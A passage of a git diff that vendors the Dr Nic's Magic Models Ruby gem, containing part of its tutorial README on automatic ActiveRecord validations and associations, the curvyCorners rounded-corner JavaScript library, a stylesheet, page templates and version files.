    +	 @base=#, @new_record=true, 
    +		@attributes={"lastname"=>nil, "firstname"=>nil, "email"=>nil}>>
    +
    + +*Kapoow!* Instant validation! (NOTE: not as instant as it used to be - remember - you need to call generate_validations on each class as required) + +Because you specified the three columns as :null => false, +your ActiveRecord models will now automagically generated validates_presence_of +for each non-null field, plus several other validations (since version 0.8.0). + +Ok, we're just warming up. + +Your models normally require association commands (has_many, belongs_to, etc, as +demonstrated above) to have the brilliantly simple support that Rails/ActiveRecords are known for. + +Let's just watch what Dr Nic's Magic Models can do without any effort at all... + +
    +person = Person.create(:firstname => "Nic", :lastname => "Williams", :email => "drnicwilliams@gmail.com")
    +group = Group.create(:name => "Magic Models Forum", :description => "http://groups.google.com/magicmodels")
    +membership = Membership.create(:person => person, :group => group)
    +person.memberships.length
    +=> 1
    +membership.person
    +=> "Williams", "firstname"=>"Nic", 
    +"id"=>"1", "email"=>"drnicwilliams@gmail.com"}>
    +group.memberships
    +=> ["1", "id"=>"1", "person_id"=>"1"}>]
    +
    + + +That final association trick is a ripper. Automatic generation of has_many :through associations... + +
    +>> person.groups
    +=> ["Magic Models Forum", "id"=>"1", "description"=>nil}>]
    +>> group.people
    +=> ["Williams", "firstname"=>"Nic", 
    +"id"=>"1", "email"=>"drnicwilliams@gmail.com"}>]
    +
    + +h3. Drum roll... + +Ladies and gentlemen. For my final feat of magical mastery, I'll ask you to do +something you've never done before. This illusion is akin to the "floating lady":http://www.toytent.com/Posters/985.html +illusion that has been passed down through generations of magicians. + +Exit your console session. + +DELETE your three model classes: person.rb, group.rb, and membership.rb from the +app/models folder. (You can always get them back via the model generator... be fearless!) + +
    rm app/models/*.rb
    + +Re-launch your console. + +*drums are still rolling...* + +Be prepared to applaud loudly... + +
    +>> Person
    +=> Person
    +
    + +You applaud loudly, but watch for more... + +
    +>> Person.new.valid?
    +=> false
    +>> person = Person.find(1)
    +=> "Williams", "firstname"=>"Nic", 
    +"id"=>"1", "email"=>"drnicwilliams@gmail.com"}>
    +>> person.valid?
    +=> true
    +>> person.memberships
    +=> ["1", "id"=>"1", "person_id"=>"1"}>]
    +>> person.groups
    +=> ["Magic Models Forum", "id"=>"1", "description"=>nil}>]
    +
    + +h3. Tada! + +The end. + +h3. Use modules to scope your magic + +Only want to pick up tables starting with blog_? + +
    module Blog
    +  magic_module :table_name_prefix => 'blog_'
    +end
    +
    +Blog::Post.table_name #	=> 'blog_posts'
    +
    + +h2. Dr Nic's Blog + +"http://www.drnicwilliams.com":http://www.drnicwilliams.com - for future announcements and +other stories and things. + +h2. Articles about Magic Models + +* "Announcement":http://drnicwilliams.com/2006/08/07/ann-dr-nics-magic-models/ +* "BTS - Class creation":http://drnicwilliams.com/2006/08/10/bts-magic-models-class-creation/ + + +h2. Forum + +"http://groups.google.com/group/magicmodels":http://groups.google.com/group/magicmodels + +h2. Licence + +This code is free to use under the terms of the MIT licence. + +h2. Contact + +Comments are welcome. Send an email to "Dr Nic Williams":mailto:drnicwilliams@gmail.com +or via his blog at "http://www.drnicwilliams.com":http://www.drnicwilliams.com + diff --git a/vendor/gems/dr_nic_magic_models-0.9.2/website/javascripts/rounded_corners_lite.inc.js b/vendor/gems/dr_nic_magic_models-0.9.2/website/javascripts/rounded_corners_lite.inc.js new file mode 100644 index 0000000..afc3ea3 --- /dev/null +++ b/vendor/gems/dr_nic_magic_models-0.9.2/website/javascripts/rounded_corners_lite.inc.js @@ -0,0 +1,285 @@ + + /**************************************************************** + * * + * curvyCorners * + * ------------ * + * * + * This script generates rounded corners for your divs. * + * * + * Version 1.2.9 * + * Copyright (c) 2006 Cameron Cooke * + * By: Cameron Cooke and Tim Hutchison. * + * * + * * + * Website: http://www.curvycorners.net * + * Email: info@totalinfinity.com * + * Forum: http://www.curvycorners.net/forum/ * + * * + * * + * This library is free software; you can redistribute * + * it and/or modify it under the terms of the GNU * + * Lesser General Public License as published by the * + * Free Software Foundation; either version 2.1 of the * + * License, or (at your option) any later version. * + * * + * This library is distributed in the hope that it will * + * be useful, but WITHOUT ANY WARRANTY; without even the * + * implied warranty of MERCHANTABILITY or FITNESS FOR A * + * PARTICULAR PURPOSE. See the GNU Lesser General Public * + * License for more details. * + * * + * You should have received a copy of the GNU Lesser * + * General Public License along with this library; * + * Inc., 59 Temple Place, Suite 330, Boston, * + * MA 02111-1307 USA * + * * + ****************************************************************/ + +var isIE = navigator.userAgent.toLowerCase().indexOf("msie") > -1; var isMoz = document.implementation && document.implementation.createDocument; var isSafari = ((navigator.userAgent.toLowerCase().indexOf('safari')!=-1)&&(navigator.userAgent.toLowerCase().indexOf('mac')!=-1))?true:false; function curvyCorners() +{ if(typeof(arguments[0]) != "object") throw newCurvyError("First parameter of curvyCorners() must be an object."); if(typeof(arguments[1]) != "object" && typeof(arguments[1]) != "string") throw newCurvyError("Second parameter of curvyCorners() must be an object or a class name."); if(typeof(arguments[1]) == "string") +{ var startIndex = 0; var boxCol = getElementsByClass(arguments[1]);} +else +{ var startIndex = 1; var boxCol = arguments;} +var curvyCornersCol = new Array(); if(arguments[0].validTags) +var validElements = arguments[0].validTags; else +var validElements = ["div"]; for(var i = startIndex, j = boxCol.length; i < j; i++) +{ var currentTag = boxCol[i].tagName.toLowerCase(); if(inArray(validElements, currentTag) !== false) +{ curvyCornersCol[curvyCornersCol.length] = new curvyObject(arguments[0], boxCol[i]);} +} +this.objects = curvyCornersCol; this.applyCornersToAll = function() +{ for(var x = 0, k = this.objects.length; x < k; x++) +{ this.objects[x].applyCorners();} +} +} +function curvyObject() +{ this.box = arguments[1]; this.settings = arguments[0]; this.topContainer = null; this.bottomContainer = null; this.masterCorners = new Array(); this.contentDIV = null; var boxHeight = get_style(this.box, "height", "height"); var boxWidth = get_style(this.box, "width", "width"); var borderWidth = get_style(this.box, "borderTopWidth", "border-top-width"); var borderColour = get_style(this.box, "borderTopColor", "border-top-color"); var boxColour = get_style(this.box, "backgroundColor", "background-color"); var backgroundImage = get_style(this.box, "backgroundImage", "background-image"); var boxPosition = get_style(this.box, "position", "position"); var boxPadding = get_style(this.box, "paddingTop", "padding-top"); this.boxHeight = parseInt(((boxHeight != "" && boxHeight != "auto" && boxHeight.indexOf("%") == -1)? boxHeight.substring(0, boxHeight.indexOf("px")) : this.box.scrollHeight)); this.boxWidth = parseInt(((boxWidth != "" && boxWidth != "auto" && boxWidth.indexOf("%") == -1)? boxWidth.substring(0, boxWidth.indexOf("px")) : this.box.scrollWidth)); this.borderWidth = parseInt(((borderWidth != "" && borderWidth.indexOf("px") !== -1)? borderWidth.slice(0, borderWidth.indexOf("px")) : 0)); this.boxColour = format_colour(boxColour); this.boxPadding = parseInt(((boxPadding != "" && boxPadding.indexOf("px") !== -1)? boxPadding.slice(0, boxPadding.indexOf("px")) : 0)); this.borderColour = format_colour(borderColour); this.borderString = this.borderWidth + "px" + " solid " + this.borderColour; this.backgroundImage = ((backgroundImage != "none")? backgroundImage : ""); this.boxContent = this.box.innerHTML; if(boxPosition != "absolute") this.box.style.position = "relative"; this.box.style.padding = "0px"; if(isIE && boxWidth == "auto" && boxHeight == "auto") this.box.style.width = "100%"; if(this.settings.autoPad == true && this.boxPadding > 0) +this.box.innerHTML = ""; this.applyCorners = function() +{ for(var t = 0; t < 2; t++) +{ switch(t) +{ case 0: +if(this.settings.tl || this.settings.tr) +{ var newMainContainer = document.createElement("DIV"); newMainContainer.style.width = "100%"; newMainContainer.style.fontSize = "1px"; newMainContainer.style.overflow = "hidden"; newMainContainer.style.position = "absolute"; newMainContainer.style.paddingLeft = this.borderWidth + "px"; newMainContainer.style.paddingRight = this.borderWidth + "px"; var topMaxRadius = Math.max(this.settings.tl ? this.settings.tl.radius : 0, this.settings.tr ? this.settings.tr.radius : 0); newMainContainer.style.height = topMaxRadius + "px"; newMainContainer.style.top = 0 - topMaxRadius + "px"; newMainContainer.style.left = 0 - this.borderWidth + "px"; this.topContainer = this.box.appendChild(newMainContainer);} +break; case 1: +if(this.settings.bl || this.settings.br) +{ var newMainContainer = document.createElement("DIV"); newMainContainer.style.width = "100%"; newMainContainer.style.fontSize = "1px"; newMainContainer.style.overflow = "hidden"; newMainContainer.style.position = "absolute"; newMainContainer.style.paddingLeft = this.borderWidth + "px"; newMainContainer.style.paddingRight = this.borderWidth + "px"; var botMaxRadius = Math.max(this.settings.bl ? this.settings.bl.radius : 0, this.settings.br ? this.settings.br.radius : 0); newMainContainer.style.height = botMaxRadius + "px"; newMainContainer.style.bottom = 0 - botMaxRadius + "px"; newMainContainer.style.left = 0 - this.borderWidth + "px"; this.bottomContainer = this.box.appendChild(newMainContainer);} +break;} +} +if(this.topContainer) this.box.style.borderTopWidth = "0px"; if(this.bottomContainer) this.box.style.borderBottomWidth = "0px"; var corners = ["tr", "tl", "br", "bl"]; for(var i in corners) +{ if(i > -1 < 4) +{ var cc = corners[i]; if(!this.settings[cc]) +{ if(((cc == "tr" || cc == "tl") && this.topContainer != null) || ((cc == "br" || cc == "bl") && this.bottomContainer != null)) +{ var newCorner = document.createElement("DIV"); newCorner.style.position = "relative"; newCorner.style.fontSize = "1px"; newCorner.style.overflow = "hidden"; if(this.backgroundImage == "") +newCorner.style.backgroundColor = this.boxColour; else +newCorner.style.backgroundImage = this.backgroundImage; switch(cc) +{ case "tl": +newCorner.style.height = topMaxRadius - this.borderWidth + "px"; newCorner.style.marginRight = this.settings.tr.radius - (this.borderWidth*2) + "px"; newCorner.style.borderLeft = this.borderString; newCorner.style.borderTop = this.borderString; newCorner.style.left = -this.borderWidth + "px"; break; case "tr": +newCorner.style.height = topMaxRadius - this.borderWidth + "px"; newCorner.style.marginLeft = this.settings.tl.radius - (this.borderWidth*2) + "px"; newCorner.style.borderRight = this.borderString; newCorner.style.borderTop = this.borderString; newCorner.style.backgroundPosition = "-" + (topMaxRadius + this.borderWidth) + "px 0px"; newCorner.style.left = this.borderWidth + "px"; break; case "bl": +newCorner.style.height = botMaxRadius - this.borderWidth + "px"; newCorner.style.marginRight = this.settings.br.radius - (this.borderWidth*2) + "px"; newCorner.style.borderLeft = this.borderString; newCorner.style.borderBottom = this.borderString; newCorner.style.left = -this.borderWidth + "px"; newCorner.style.backgroundPosition = "-" + (this.borderWidth) + "px -" + (this.boxHeight + (botMaxRadius + this.borderWidth)) + "px"; break; case "br": +newCorner.style.height = botMaxRadius - this.borderWidth + "px"; newCorner.style.marginLeft = this.settings.bl.radius - (this.borderWidth*2) + "px"; newCorner.style.borderRight = this.borderString; newCorner.style.borderBottom = this.borderString; newCorner.style.left = this.borderWidth + "px" +newCorner.style.backgroundPosition = "-" + (botMaxRadius + this.borderWidth) + "px -" + (this.boxHeight + (botMaxRadius + this.borderWidth)) + "px"; break;} +} +} +else +{ if(this.masterCorners[this.settings[cc].radius]) +{ var newCorner = this.masterCorners[this.settings[cc].radius].cloneNode(true);} +else +{ var newCorner = document.createElement("DIV"); newCorner.style.height = this.settings[cc].radius + "px"; newCorner.style.width = this.settings[cc].radius + "px"; newCorner.style.position = "absolute"; newCorner.style.fontSize = "1px"; newCorner.style.overflow = "hidden"; var borderRadius = parseInt(this.settings[cc].radius - this.borderWidth); for(var intx = 0, j = this.settings[cc].radius; intx < j; intx++) +{ if((intx +1) >= borderRadius) +var y1 = -1; else +var y1 = (Math.floor(Math.sqrt(Math.pow(borderRadius, 2) - Math.pow((intx+1), 2))) - 1); if(borderRadius != j) +{ if((intx) >= borderRadius) +var y2 = -1; else +var y2 = Math.ceil(Math.sqrt(Math.pow(borderRadius,2) - Math.pow(intx, 2))); if((intx+1) >= j) +var y3 = -1; else +var y3 = (Math.floor(Math.sqrt(Math.pow(j ,2) - Math.pow((intx+1), 2))) - 1);} +if((intx) >= j) +var y4 = -1; else +var y4 = Math.ceil(Math.sqrt(Math.pow(j ,2) - Math.pow(intx, 2))); if(y1 > -1) this.drawPixel(intx, 0, this.boxColour, 100, (y1+1), newCorner, -1, this.settings[cc].radius); if(borderRadius != j) +{ for(var inty = (y1 + 1); inty < y2; inty++) +{ if(this.settings.antiAlias) +{ if(this.backgroundImage != "") +{ var borderFract = (pixelFraction(intx, inty, borderRadius) * 100); if(borderFract < 30) +{ this.drawPixel(intx, inty, this.borderColour, 100, 1, newCorner, 0, this.settings[cc].radius);} +else +{ this.drawPixel(intx, inty, this.borderColour, 100, 1, newCorner, -1, this.settings[cc].radius);} +} +else +{ var pixelcolour = BlendColour(this.boxColour, this.borderColour, pixelFraction(intx, inty, borderRadius)); this.drawPixel(intx, inty, pixelcolour, 100, 1, newCorner, 0, this.settings[cc].radius, cc);} +} +} +if(this.settings.antiAlias) +{ if(y3 >= y2) +{ if (y2 == -1) y2 = 0; this.drawPixel(intx, y2, this.borderColour, 100, (y3 - y2 + 1), newCorner, 0, 0);} +} +else +{ if(y3 >= y1) +{ this.drawPixel(intx, (y1 + 1), this.borderColour, 100, (y3 - y1), newCorner, 0, 0);} +} +var outsideColour = this.borderColour;} +else +{ var outsideColour = this.boxColour; var y3 = y1;} +if(this.settings.antiAlias) +{ for(var inty = (y3 + 1); inty < y4; inty++) +{ this.drawPixel(intx, inty, outsideColour, (pixelFraction(intx, inty , j) * 100), 1, newCorner, ((this.borderWidth > 0)? 0 : -1), this.settings[cc].radius);} +} +} +this.masterCorners[this.settings[cc].radius] = newCorner.cloneNode(true);} +if(cc != "br") +{ for(var t = 0, k = newCorner.childNodes.length; t < k; t++) +{ var pixelBar = newCorner.childNodes[t]; var pixelBarTop = parseInt(pixelBar.style.top.substring(0, pixelBar.style.top.indexOf("px"))); var pixelBarLeft = parseInt(pixelBar.style.left.substring(0, pixelBar.style.left.indexOf("px"))); var pixelBarHeight = parseInt(pixelBar.style.height.substring(0, pixelBar.style.height.indexOf("px"))); if(cc == "tl" || cc == "bl"){ pixelBar.style.left = this.settings[cc].radius -pixelBarLeft -1 + "px";} +if(cc == "tr" || cc == "tl"){ pixelBar.style.top = this.settings[cc].radius -pixelBarHeight -pixelBarTop + "px";} +switch(cc) +{ case "tr": +pixelBar.style.backgroundPosition = "-" + Math.abs((this.boxWidth - this.settings[cc].radius + this.borderWidth) + pixelBarLeft) + "px -" + Math.abs(this.settings[cc].radius -pixelBarHeight -pixelBarTop - this.borderWidth) + "px"; break; case "tl": +pixelBar.style.backgroundPosition = "-" + Math.abs((this.settings[cc].radius -pixelBarLeft -1) - this.borderWidth) + "px -" + Math.abs(this.settings[cc].radius -pixelBarHeight -pixelBarTop - this.borderWidth) + "px"; break; case "bl": +pixelBar.style.backgroundPosition = "-" + Math.abs((this.settings[cc].radius -pixelBarLeft -1) - this.borderWidth) + "px -" + Math.abs((this.boxHeight + this.settings[cc].radius + pixelBarTop) -this.borderWidth) + "px"; break;} +} +} +} +if(newCorner) +{ switch(cc) +{ case "tl": +if(newCorner.style.position == "absolute") newCorner.style.top = "0px"; if(newCorner.style.position == "absolute") newCorner.style.left = "0px"; if(this.topContainer) this.topContainer.appendChild(newCorner); break; case "tr": +if(newCorner.style.position == "absolute") newCorner.style.top = "0px"; if(newCorner.style.position == "absolute") newCorner.style.right = "0px"; if(this.topContainer) this.topContainer.appendChild(newCorner); break; case "bl": +if(newCorner.style.position == "absolute") newCorner.style.bottom = "0px"; if(newCorner.style.position == "absolute") newCorner.style.left = "0px"; if(this.bottomContainer) this.bottomContainer.appendChild(newCorner); break; case "br": +if(newCorner.style.position == "absolute") newCorner.style.bottom = "0px"; if(newCorner.style.position == "absolute") newCorner.style.right = "0px"; if(this.bottomContainer) this.bottomContainer.appendChild(newCorner); break;} +} +} +} +var radiusDiff = new Array(); radiusDiff["t"] = Math.abs(this.settings.tl.radius - this.settings.tr.radius) +radiusDiff["b"] = Math.abs(this.settings.bl.radius - this.settings.br.radius); for(z in radiusDiff) +{ if(z == "t" || z == "b") +{ if(radiusDiff[z]) +{ var smallerCornerType = ((this.settings[z + "l"].radius < this.settings[z + "r"].radius)? z +"l" : z +"r"); var newFiller = document.createElement("DIV"); newFiller.style.height = radiusDiff[z] + "px"; newFiller.style.width = this.settings[smallerCornerType].radius+ "px" +newFiller.style.position = "absolute"; newFiller.style.fontSize = "1px"; newFiller.style.overflow = "hidden"; newFiller.style.backgroundColor = this.boxColour; switch(smallerCornerType) +{ case "tl": +newFiller.style.bottom = "0px"; newFiller.style.left = "0px"; newFiller.style.borderLeft = this.borderString; this.topContainer.appendChild(newFiller); break; case "tr": +newFiller.style.bottom = "0px"; newFiller.style.right = "0px"; newFiller.style.borderRight = this.borderString; this.topContainer.appendChild(newFiller); break; case "bl": +newFiller.style.top = "0px"; newFiller.style.left = "0px"; newFiller.style.borderLeft = this.borderString; this.bottomContainer.appendChild(newFiller); break; case "br": +newFiller.style.top = "0px"; newFiller.style.right = "0px"; newFiller.style.borderRight = this.borderString; this.bottomContainer.appendChild(newFiller); break;} +} +var newFillerBar = document.createElement("DIV"); newFillerBar.style.position = "relative"; newFillerBar.style.fontSize = "1px"; newFillerBar.style.overflow = "hidden"; newFillerBar.style.backgroundColor = this.boxColour; newFillerBar.style.backgroundImage = this.backgroundImage; switch(z) +{ case "t": +if(this.topContainer) +{ if(this.settings.tl.radius && this.settings.tr.radius) +{ newFillerBar.style.height = topMaxRadius - this.borderWidth + "px"; newFillerBar.style.marginLeft = this.settings.tl.radius - this.borderWidth + "px"; newFillerBar.style.marginRight = this.settings.tr.radius - this.borderWidth + "px"; newFillerBar.style.borderTop = this.borderString; if(this.backgroundImage != "") +newFillerBar.style.backgroundPosition = "-" + (topMaxRadius + this.borderWidth) + "px 0px"; this.topContainer.appendChild(newFillerBar);} +this.box.style.backgroundPosition = "0px -" + (topMaxRadius - this.borderWidth) + "px";} +break; case "b": +if(this.bottomContainer) +{ if(this.settings.bl.radius && this.settings.br.radius) +{ newFillerBar.style.height = botMaxRadius - this.borderWidth + "px"; newFillerBar.style.marginLeft = this.settings.bl.radius - this.borderWidth + "px"; newFillerBar.style.marginRight = this.settings.br.radius - this.borderWidth + "px"; newFillerBar.style.borderBottom = this.borderString; if(this.backgroundImage != "") +newFillerBar.style.backgroundPosition = "-" + (botMaxRadius + this.borderWidth) + "px -" + (this.boxHeight + (topMaxRadius + this.borderWidth)) + "px"; this.bottomContainer.appendChild(newFillerBar);} +} +break;} +} +} +if(this.settings.autoPad == true && this.boxPadding > 0) +{ var contentContainer = document.createElement("DIV"); contentContainer.style.position = "relative"; contentContainer.innerHTML = this.boxContent; contentContainer.className = "autoPadDiv"; var topPadding = Math.abs(topMaxRadius - this.boxPadding); var botPadding = Math.abs(botMaxRadius - this.boxPadding); if(topMaxRadius < this.boxPadding) +contentContainer.style.paddingTop = topPadding + "px"; if(botMaxRadius < this.boxPadding) +contentContainer.style.paddingBottom = botMaxRadius + "px"; contentContainer.style.paddingLeft = this.boxPadding + "px"; contentContainer.style.paddingRight = this.boxPadding + "px"; this.contentDIV = this.box.appendChild(contentContainer);} +} +this.drawPixel = function(intx, inty, colour, transAmount, height, newCorner, image, cornerRadius) +{ var pixel = document.createElement("DIV"); pixel.style.height = height + "px"; pixel.style.width = "1px"; pixel.style.position = "absolute"; pixel.style.fontSize = "1px"; pixel.style.overflow = "hidden"; var topMaxRadius = Math.max(this.settings["tr"].radius, this.settings["tl"].radius); if(image == -1 && this.backgroundImage != "") +{ pixel.style.backgroundImage = this.backgroundImage; pixel.style.backgroundPosition = "-" + (this.boxWidth - (cornerRadius - intx) + this.borderWidth) + "px -" + ((this.boxHeight + topMaxRadius + inty) -this.borderWidth) + "px";} +else +{ pixel.style.backgroundColor = colour;} +if (transAmount != 100) +setOpacity(pixel, transAmount); pixel.style.top = inty + "px"; pixel.style.left = intx + "px"; newCorner.appendChild(pixel);} +} +function insertAfter(parent, node, referenceNode) +{ parent.insertBefore(node, referenceNode.nextSibling);} +function BlendColour(Col1, Col2, Col1Fraction) +{ var red1 = parseInt(Col1.substr(1,2),16); var green1 = parseInt(Col1.substr(3,2),16); var blue1 = parseInt(Col1.substr(5,2),16); var red2 = parseInt(Col2.substr(1,2),16); var green2 = parseInt(Col2.substr(3,2),16); var blue2 = parseInt(Col2.substr(5,2),16); if(Col1Fraction > 1 || Col1Fraction < 0) Col1Fraction = 1; var endRed = Math.round((red1 * Col1Fraction) + (red2 * (1 - Col1Fraction))); if(endRed > 255) endRed = 255; if(endRed < 0) endRed = 0; var endGreen = Math.round((green1 * Col1Fraction) + (green2 * (1 - Col1Fraction))); if(endGreen > 255) endGreen = 255; if(endGreen < 0) endGreen = 0; var endBlue = Math.round((blue1 * Col1Fraction) + (blue2 * (1 - Col1Fraction))); if(endBlue > 255) endBlue = 255; if(endBlue < 0) endBlue = 0; return "#" + IntToHex(endRed)+ IntToHex(endGreen)+ IntToHex(endBlue);} +function IntToHex(strNum) +{ base = strNum / 16; rem = strNum % 16; base = base - (rem / 16); baseS = MakeHex(base); remS = MakeHex(rem); return baseS + '' + remS;} +function MakeHex(x) +{ if((x >= 0) && (x <= 9)) +{ return x;} +else +{ switch(x) +{ case 10: return "A"; case 11: return "B"; case 12: return "C"; case 13: return "D"; case 14: return "E"; case 15: return "F";} +} +} +function pixelFraction(x, y, r) +{ var pixelfraction = 0; var xvalues = new Array(1); var yvalues = new Array(1); var point = 0; var whatsides = ""; var intersect = Math.sqrt((Math.pow(r,2) - Math.pow(x,2))); if ((intersect >= y) && (intersect < (y+1))) +{ whatsides = "Left"; xvalues[point] = 0; yvalues[point] = intersect - y; point = point + 1;} +var intersect = Math.sqrt((Math.pow(r,2) - Math.pow(y+1,2))); if ((intersect >= x) && (intersect < (x+1))) +{ whatsides = whatsides + "Top"; xvalues[point] = intersect - x; yvalues[point] = 1; point = point + 1;} +var intersect = Math.sqrt((Math.pow(r,2) - Math.pow(x+1,2))); if ((intersect >= y) && (intersect < (y+1))) +{ whatsides = whatsides + "Right"; xvalues[point] = 1; yvalues[point] = intersect - y; point = point + 1;} +var intersect = Math.sqrt((Math.pow(r,2) - Math.pow(y,2))); if ((intersect >= x) && (intersect < (x+1))) +{ whatsides = whatsides + "Bottom"; xvalues[point] = intersect - x; yvalues[point] = 0;} +switch (whatsides) +{ case "LeftRight": +pixelfraction = Math.min(yvalues[0],yvalues[1]) + ((Math.max(yvalues[0],yvalues[1]) - Math.min(yvalues[0],yvalues[1]))/2); break; case "TopRight": +pixelfraction = 1-(((1-xvalues[0])*(1-yvalues[1]))/2); break; case "TopBottom": +pixelfraction = Math.min(xvalues[0],xvalues[1]) + ((Math.max(xvalues[0],xvalues[1]) - Math.min(xvalues[0],xvalues[1]))/2); break; case "LeftBottom": +pixelfraction = (yvalues[0]*xvalues[1])/2; break; default: +pixelfraction = 1;} +return pixelfraction;} +function rgb2Hex(rgbColour) +{ try{ var rgbArray = rgb2Array(rgbColour); var red = parseInt(rgbArray[0]); var green = parseInt(rgbArray[1]); var blue = parseInt(rgbArray[2]); var hexColour = "#" + IntToHex(red) + IntToHex(green) + IntToHex(blue);} +catch(e){ alert("There was an error converting the RGB value to Hexadecimal in function rgb2Hex");} +return hexColour;} +function rgb2Array(rgbColour) +{ var rgbValues = rgbColour.substring(4, rgbColour.indexOf(")")); var rgbArray = rgbValues.split(", "); return rgbArray;} +function setOpacity(obj, opacity) +{ opacity = (opacity == 100)?99.999:opacity; if(isSafari && obj.tagName != "IFRAME") +{ var rgbArray = rgb2Array(obj.style.backgroundColor); var red = parseInt(rgbArray[0]); var green = parseInt(rgbArray[1]); var blue = parseInt(rgbArray[2]); obj.style.backgroundColor = "rgba(" + red + ", " + green + ", " + blue + ", " + opacity/100 + ")";} +else if(typeof(obj.style.opacity) != "undefined") +{ obj.style.opacity = opacity/100;} +else if(typeof(obj.style.MozOpacity) != "undefined") +{ obj.style.MozOpacity = opacity/100;} +else if(typeof(obj.style.filter) != "undefined") +{ obj.style.filter = "alpha(opacity:" + opacity + ")";} +else if(typeof(obj.style.KHTMLOpacity) != "undefined") +{ obj.style.KHTMLOpacity = opacity/100;} +} +function inArray(array, value) +{ for(var i = 0; i < array.length; i++){ if (array[i] === value) return i;} +return false;} +function inArrayKey(array, value) +{ for(key in array){ if(key === value) return true;} +return false;} +function addEvent(elm, evType, fn, useCapture) { if (elm.addEventListener) { elm.addEventListener(evType, fn, useCapture); return true;} +else if (elm.attachEvent) { var r = elm.attachEvent('on' + evType, fn); return r;} +else { elm['on' + evType] = fn;} +} +function removeEvent(obj, evType, fn, useCapture){ if (obj.removeEventListener){ obj.removeEventListener(evType, fn, useCapture); return true;} else if (obj.detachEvent){ var r = obj.detachEvent("on"+evType, fn); return r;} else { alert("Handler could not be removed");} +} +function format_colour(colour) +{ var returnColour = "#ffffff"; if(colour != "" && colour != "transparent") +{ if(colour.substr(0, 3) == "rgb") +{ returnColour = rgb2Hex(colour);} +else if(colour.length == 4) +{ returnColour = "#" + colour.substring(1, 2) + colour.substring(1, 2) + colour.substring(2, 3) + colour.substring(2, 3) + colour.substring(3, 4) + colour.substring(3, 4);} +else +{ returnColour = colour;} +} +return returnColour;} +function get_style(obj, property, propertyNS) +{ try +{ if(obj.currentStyle) +{ var returnVal = eval("obj.currentStyle." + property);} +else +{ if(isSafari && obj.style.display == "none") +{ obj.style.display = ""; var wasHidden = true;} +var returnVal = document.defaultView.getComputedStyle(obj, '').getPropertyValue(propertyNS); if(isSafari && wasHidden) +{ obj.style.display = "none";} +} +} +catch(e) +{ } +return returnVal;} +function getElementsByClass(searchClass, node, tag) +{ var classElements = new Array(); if(node == null) +node = document; if(tag == null) +tag = '*'; var els = node.getElementsByTagName(tag); var elsLen = els.length; var pattern = new RegExp("(^|\s)"+searchClass+"(\s|$)"); for (i = 0, j = 0; i < elsLen; i++) +{ if(pattern.test(els[i].className)) +{ classElements[j] = els[i]; j++;} +} +return classElements;} +function newCurvyError(errorMessage) +{ return new Error("curvyCorners Error:\n" + errorMessage) +} diff --git a/vendor/gems/dr_nic_magic_models-0.9.2/website/stylesheets/screen.css b/vendor/gems/dr_nic_magic_models-0.9.2/website/stylesheets/screen.css new file mode 100644 index 0000000..60dfc52 --- /dev/null +++ b/vendor/gems/dr_nic_magic_models-0.9.2/website/stylesheets/screen.css @@ -0,0 +1,96 @@ +body { + background-color: #115; + font-family: "Georgia", sans-serif; + font-size: 16px; + line-height: 1.6em; + padding: 1.6em 0 0 0; + color: #eee; +} +h1, h2, h3, h4, h5, h6 { + color: #77f; +} +h1 { + font-family: sans-serif; + font-weight: normal; + font-size: 4em; + line-height: 0.8em; + letter-spacing: -0.1ex; +} +li { + padding: 0; + margin: 0; + list-style-type: square; +} +a { + color: #99f; + font-weight: normal; + text-decoration: underline; +} +blockquote { + font-size: 90%; + font-style: italic; + border-left: 1px solid #eee; + padding-left: 1em; +} +.caps { + font-size: 80%; +} + +#main { + width: 55em; + padding: 0; + margin: 0 auto; +} +.coda { + text-align: right; + color: #77f; + font-size: smaller; +} + +pre, code { + font-family: monospace; + font-size: 90%; + line-height: 1.4em; + color: #ff8; + background-color: #111; + padding: 2px 10px 2px 10px; +} +.comment { color: #aaa; font-style: italic; } +.keyword { color: #eff; font-weight: bold; } +.punct { color: #eee; font-weight: bold; } +.symbol { color: #0bb; } +.string { color: #6b4; } +.ident { color: #ff8; } +.constant { color: #66f; } +.regex { color: #ec6; } +.number { color: #F99; } +.expr { color: #227; } + +#version { + float: right; + text-align: right; + font-family: sans-serif; + font-weight: normal; + background-color: #ff8; + color: #66f; + padding: 15px 20px 10px 20px; + margin: 0 auto; + border: 3px solid #66f; +} + +#version .numbers { + display: block; + font-size: 4em; + line-height: 0.8em; + letter-spacing: -0.1ex; +} + +#version a { + text-decoration: none; +} + +.clickable { + cursor: pointer; + cursor: hand; +} + diff --git a/vendor/gems/dr_nic_magic_models-0.9.2/website/template.js b/vendor/gems/dr_nic_magic_models-0.9.2/website/template.js new file mode 100644 index 0000000..465c080 --- /dev/null +++ b/vendor/gems/dr_nic_magic_models-0.9.2/website/template.js @@ -0,0 +1,3 @@ +// <%= title %> +var version = <%= version.to_json %>; +<%= body %> diff --git a/vendor/gems/dr_nic_magic_models-0.9.2/website/template.rhtml b/vendor/gems/dr_nic_magic_models-0.9.2/website/template.rhtml new file mode 100644 index 0000000..a1b9acd --- /dev/null +++ b/vendor/gems/dr_nic_magic_models-0.9.2/website/template.rhtml @@ -0,0 +1,55 @@ + + + + + + + <%= title %> + + + + + + + +
    +

    ↩ More Magic

    + +
    + Get Version + +
    +

    <%= title %>

    + <%= body %> +

    + Dr Nic, <%= modified.pretty %>
    + Theme extended from Paul Battley +

    +
    + + + + diff --git a/vendor/gems/dr_nic_magic_models-0.9.2/website/version-raw.js b/vendor/gems/dr_nic_magic_models-0.9.2/website/version-raw.js new file mode 100644 index 0000000..16f2b04 --- /dev/null +++ b/vendor/gems/dr_nic_magic_models-0.9.2/website/version-raw.js @@ -0,0 +1,3 @@ +// Version JS file +var version = "0.9.2"; +MagicAnnouncement.show('magicmodels', version); diff --git a/vendor/gems/dr_nic_magic_models-0.9.2/website/version-raw.txt b/vendor/gems/dr_nic_magic_models-0.9.2/website/version-raw.txt new file mode 100644 index 0000000..52c602d --- /dev/null +++ b/vendor/gems/dr_nic_magic_models-0.9.2/website/version-raw.txt @@ -0,0 +1,2 @@ +h1. Version JS file +MagicAnnouncement.show('magicmodels', version); \ No newline at end of file diff --git a/vendor/gems/dr_nic_magic_models-0.9.2/website/version.js b/vendor/gems/dr_nic_magic_models-0.9.2/website/version.js new file mode 100644 index 0000000..f7348f6 --- /dev/null +++ b/vendor/gems/dr_nic_magic_models-0.9.2/website/version.js @@ -0,0 +1,4 @@ +// Version JS file +var version = "0.9.2"; + +document.write(" - " + version); diff --git a/vendor/gems/dr_nic_magic_models-0.9.2/website/version.txt b/vendor/gems/dr_nic_magic_models-0.9.2/website/version.txt new file mode 100644 index 